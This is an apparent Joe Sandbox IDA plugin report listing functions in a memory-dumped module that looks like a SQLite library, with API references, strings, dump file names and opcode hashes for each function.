ate, xrefs: 61E105D5
ive, xrefs: 61E1063A
ous, xrefs: 61E10618

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: e540365b7fd7f9443dd82ee147f8b9093e47f334e53584792075e5945152a348
Instruction ID: 60f9232e79ba8c46656df14b30f4429a15bc78d1e5e1648a3d40d26d176db9d4
Opcode Fuzzy Hash: e540365b7fd7f9443dd82ee147f8b9093e47f334e53584792075e5945152a348
Instruction Fuzzy Hash: 6EB128B0D0D3068BDB00CF94C58669EBBF4AF85348F31C81AD890DB754D779D9A68B92

Function 61E0FC61 Relevance: 25.8, APIs: 10, Strings: 7, Instructions: 259COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FC86
memcmp.MSVCRT ref: 61E0FCBF
memcmp.MSVCRT ref: 61E10580

Strings

iti, xrefs: 61E105FC
ance, xrefs: 61E103AD
ence, xrefs: 61E103D4
ize, xrefs: 61E1065C
ate, xrefs: 61E105D5
ive, xrefs: 61E1063A
ous, xrefs: 61E10618

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: 0a817a664abe7669e1f9b819d607d3cf4ee08d2d7d4e2fd3f7bc486b0ed951a3
Instruction ID: 2b4bda0a5a7416114e6a254efe1c2f62446bd14a06bd16ad799116575b7de764
Opcode Fuzzy Hash: 0a817a664abe7669e1f9b819d607d3cf4ee08d2d7d4e2fd3f7bc486b0ed951a3
Instruction Fuzzy Hash: 03B126B0D0C3068BDB00DF94C58269EBBF4AF85348F31C81AD890DB754D779D9A68B92

Function 61E0FD37 Relevance: 24.2, APIs: 9, Strings: 7, Instructions: 248COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FD5C
memcmp.MSVCRT ref: 61E101F8
memcmp.MSVCRT ref: 61E103BB
memcmp.MSVCRT ref: 61E10580
memcmp.MSVCRT ref: 61E10669
memcmp.MSVCRT ref: 61E1070B

Strings

iti, xrefs: 61E105FC
ance, xrefs: 61E103AD
ence, xrefs: 61E103D4
ize, xrefs: 61E1065C
ate, xrefs: 61E105D5
ive, xrefs: 61E1063A
ous, xrefs: 61E10618

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: c54270305458f61258e2551f56d469756e9d85375da6b675864f5ba64181ee46
Instruction ID: c635636e61c9daa50d7aef90f17bbd02a00a8acd362d6d180f064c5e09d29bb5
Opcode Fuzzy Hash: c54270305458f61258e2551f56d469756e9d85375da6b675864f5ba64181ee46
Instruction Fuzzy Hash: B0A126B0D0C306CBDB00CF94C58669EBBF4AB85348F31C81AD894DB754D779D9A68B92

Function 61E0FCE9 Relevance: 24.2, APIs: 9, Strings: 7, Instructions: 248COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FD0E
memcmp.MSVCRT ref: 61E101F8
memcmp.MSVCRT ref: 61E103BB
memcmp.MSVCRT ref: 61E10580
memcmp.MSVCRT ref: 61E10669
memcmp.MSVCRT ref: 61E1070B

Strings

iti, xrefs: 61E105FC
ance, xrefs: 61E103AD
ence, xrefs: 61E103D4
ize, xrefs: 61E1065C
ate, xrefs: 61E105D5
ive, xrefs: 61E1063A
ous, xrefs: 61E10618

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: c1250c06479d443b50863cfaca24b1a96d4c7a6c86a02d8b32de734b66d4155d
Instruction ID: 52be5bc32e4a241d7d631e7d354cb647d2df2ea9c6509ea900c66bb21baa7349
Opcode Fuzzy Hash: c1250c06479d443b50863cfaca24b1a96d4c7a6c86a02d8b32de734b66d4155d
Instruction Fuzzy Hash: 9DA127B0D0C306CBDB00DF94C58669EBBF4AB85348F31C81AD890DB754D779D9A68B92

Function 61E970B9 Relevance: 16.9, APIs: 1, Strings: 10, Instructions: 447COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E97281

Part of subcall function 61E0AE03: free.MSVCRT ref: 61E0AE3D

Strings

idx IS CASE WHEN length(?4)=0 AND typeof(?4)='blob' THEN NULL ELSE ?4 END , xrefs: 61E975CB
IS ?, xrefs: 61E975EC
sqlite_stat1, xrefs: 61E97504
SET , xrefs: 61E9732E
bua, xrefs: 61E9733E
WHERE , xrefs: 61E97357
= ?, xrefs: 61E97571
UPDATE main., xrefs: 61E9730B
bua, xrefs: 61E97368
AND , xrefs: 61E97604

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: freememcmp
String ID: = ?$ AND $ IS ?$ SET $ WHERE $UPDATE main.$bua$bua$idx IS CASE WHEN length(?4)=0 AND typeof(?4)='blob' THEN NULL ELSE ?4 END $sqlite_stat1
API String ID: 1183899719-1341641573
Opcode ID: a4619ef3427869a35f6bfc4a872bcdda3baedda7772fcac0fbc76971867d68f5
Instruction ID: 0d5b731b4e6e71452f02b40a28acc7cf76705435dae47c5a45c9821af7cd2139
Opcode Fuzzy Hash: a4619ef3427869a35f6bfc4a872bcdda3baedda7772fcac0fbc76971867d68f5
Instruction Fuzzy Hash: AE12E774E04259DBDB04CF98D480A9DBBF2BF88308F25C869E855AB351D774E886CF81

Function 61E3C943 Relevance: 16.9, APIs: 3, Strings: 8, Instructions: 360stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 61E3CC03
strncmp.MSVCRT ref: 61E3CC58
strncmp.MSVCRT ref: 61E3CCA9

Strings

false, xrefs: 61E3CC9E
], xrefs: 61E3CDC5
-, xrefs: 61E3CD00
}, xrefs: 61E3CDBB
0, xrefs: 61E3CCF9
-, xrefs: 61E3CCF0
true, xrefs: 61E3CC4D
null, xrefs: 61E3CBF8

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: strncmp
String ID: -$-$0$]$false$null$true$}
API String ID: 1114863663-1443276563
Opcode ID: 4366ec816b9fce7022b57502cc8f689d133e39cff5fe7996cab8ff7cfed47eb1
Instruction ID: 7d0d7d581299a88f4ecf4101ed3cb2921062378b47abb911dec42016596cbabc
Opcode Fuzzy Hash: 4366ec816b9fce7022b57502cc8f689d133e39cff5fe7996cab8ff7cfed47eb1
Instruction Fuzzy Hash: 4BD1DF70B482768ADB12CFA8C4443DABBF2AFCA318F69C25BD4919B281D739D446C751

Function 61E44905 Relevance: 13.8, APIs: 6, Strings: 3, Instructions: 346COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E44953
memcmp.MSVCRT ref: 61E44A05
memcmp.MSVCRT ref: 61E44BC9
memcmp.MSVCRT ref: 61E44C16
memcmp.MSVCRT ref: 61E44C7A
memcmp.MSVCRT ref: 61E44CAE

Strings

cache, xrefs: 61E44CA7, 61E44CC5
access, xrefs: 61E44BE0
@, xrefs: 61E44922

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: memcmp
String ID: @$access$cache
API String ID: 1475443563-1361544076
Opcode ID: 6a756704d9a5e632f7fc2e1c6f732c660ad2fd9c7916c21d548a59f960e475b6
Instruction ID: bf7f6bc55254c54d21197c9aa673ce015ae0bdc4e4658c964804263f7089fac0
Opcode Fuzzy Hash: 6a756704d9a5e632f7fc2e1c6f732c660ad2fd9c7916c21d548a59f960e475b6
Instruction Fuzzy Hash: FDD16FB4A083558FEB11CFA4D48039EBBF1AF89318F28C45ED895AB341E339D841DB55

Function 61E241D7 Relevance: 13.7, APIs: 1, Strings: 8, Instructions: 180stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E24268

Strings

bua, xrefs: 61E24252
bua, xrefs: 61E24274
(blob), xrefs: 61E2439F
NULL, xrefs: 61E243A4
ya, xrefs: 61E2427F
ya, xrefs: 61E2429A
Xya, xrefs: 61E24418
program, xrefs: 61E24457

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: strcmp
String ID: ya$ya$(blob)$NULL$Xya$bua$bua$program
API String ID: 1004003707-2454903709
Opcode ID: a6b2441489b3eea19d207b247f0247f0001f19373451080d8235a064463bd687
Instruction ID: 4befd86826370bfd8630e1afa8d422750160e2b9b2ea18a9ced5634f5bcee847
Opcode Fuzzy Hash: a6b2441489b3eea19d207b247f0247f0001f19373451080d8235a064463bd687
Instruction Fuzzy Hash: 3B7115B49097469FC708CF58C191A59BBF0BF8A304F25C85EE8A89B751D335D882CF92

Function 61EAFA90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109filememoryCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 61EAFABB
vfprintf.MSVCRT ref: 61EAFAD7
abort.MSVCRT ref: 61EAFADC
VirtualQuery.KERNEL32 ref: 61EAFB80
VirtualProtect.KERNEL32 ref: 61EAFBC2

Strings

@, xrefs: 61EAFBAB

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: Virtual$ProtectQueryabortfwritevfprintf
String ID: @
API String ID: 1503958624-2766056989
Opcode ID: c2659c9de0e6f83528643800fc17f210c5c049cf07d0f7c16b155af3332bfc43
Instruction ID: e02739713456e9e2b4b58c9f61bb7aa4e21306e92e7ace3c3799b12748f41957
Opcode Fuzzy Hash: c2659c9de0e6f83528643800fc17f210c5c049cf07d0f7c16b155af3332bfc43
Instruction Fuzzy Hash: 9A412AB1A547029FD700DF68D58464ABBF0FB89758F64C92DE8A98B340E734E884CB52

Function 61E01040 Relevance: 10.6, APIs: 7, Instructions: 132sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,61E012DC), ref: 61E01077
_amsg_exit.MSVCRT ref: 61E010A4

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: a124d45cb5394699c2ab659ebe120ec1ccf49b51c805edf607fecf4702c5277b
Instruction ID: a154691f748ef5392a7e4955094c5928503ae470ce452f5208c2c148eeae8840
Opcode Fuzzy Hash: a124d45cb5394699c2ab659ebe120ec1ccf49b51c805edf607fecf4702c5277b
Instruction Fuzzy Hash: 13414F71B146818FEB00AFE8C98470BB7F1EB85399F64C53DE4A48B344D775D9918B82

Function 61EAF850 Relevance: 7.6, APIs: 5, Instructions: 54timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 61EAF889
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61EAF89A
GetCurrentThreadId.KERNEL32 ref: 61EAF8A2
GetTickCount.KERNEL32 ref: 61EAF8AA
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61EAF8B9

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 11ba3c5eec943ccd272f0a4fc468b32cfef13cd0c029082f67a55811cb38d485
Instruction ID: 8be46cd1f480235cb6d0906dde7f3b0c5fd652d59fe7cf958993e94cb5683476
Opcode Fuzzy Hash: 11ba3c5eec943ccd272f0a4fc468b32cfef13cd0c029082f67a55811cb38d485
Instruction Fuzzy Hash: 8D1170B29553118FCB00DFB9E58855BBBE0FB89654F050939E544CB200EB35D9898B92

Function 61E01440 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 61E01456
GetProcAddress.KERNEL32 ref: 61E01471

Strings

_Jv_RegisterClasses, xrefs: 61E01466
libgcj-16.dll, xrefs: 61E0144F

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: _Jv_RegisterClasses$libgcj-16.dll
API String ID: 1646373207-328863460
Opcode ID: 659acb1d45e1fe859de50aa712dc5e6a1f27a03cf8697e99cf940ea6467707a5
Instruction ID: ecefe885db533eab1004145bf0edfd2de441c317d2227bbbfd891c436449bb9f
Opcode Fuzzy Hash: 659acb1d45e1fe859de50aa712dc5e6a1f27a03cf8697e99cf940ea6467707a5
Instruction Fuzzy Hash: CBE06DB4914B029BEB017FF4850633EBAF5AFC570AF72C42CD4808A290EA30C4818763

Function 61E3720A Relevance: 6.4, APIs: 3, Strings: 1, Instructions: 359COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E373CE
memcmp.MSVCRT ref: 61E37560
memcmp.MSVCRT ref: 61E37690

Strings

0, xrefs: 61E3767C

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: memcmp
String ID: 0
API String ID: 1475443563-4108050209
Opcode ID: 7fdc829c56b0d73d757a58cb71872ab273c961bf249caa9fc6ea8f3c5a1c35e8
Instruction ID: 3f20ce3ba2961136da7f3248cde08971803f4c449cb9daae0617fd169a942f67
Opcode Fuzzy Hash: 7fdc829c56b0d73d757a58cb71872ab273c961bf249caa9fc6ea8f3c5a1c35e8
Instruction Fuzzy Hash: 6CE112B0E04269CBDB41CFA8C99078DBBF1BF89318F258569D859AB345D734E886CF41

Function 61E40BB5 Relevance: 6.4, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E40C37
memcmp.MSVCRT ref: 61E40C5C
memcmp.MSVCRT ref: 61E40C86
memcmp.MSVCRT ref: 61E40CB5
memcmp.MSVCRT ref: 61E40CE1

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8cc521fb16cdd100886a572f5b312f8a70bae0a598922c27761b03018ed4fb84
Instruction ID: fd79a925e1d847c1357e69ee8e74f21d123acc92255d85b94bee504056160bb0
Opcode Fuzzy Hash: 8cc521fb16cdd100886a572f5b312f8a70bae0a598922c27761b03018ed4fb84
Instruction Fuzzy Hash: C0414EB0A083058BE7049FA9D68439EBAF5EFD5358F25C83DE898CB384D775D4458B42

Function 61EAAF5A Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 332stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61EAB012

Part of subcall function 61E0AE03: free.MSVCRT ref: 61E0AE3D

Strings

bua, xrefs: 61EAAFCC
matchinfo, xrefs: 61EAAF5B
pcx, xrefs: 61EAAFA8

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
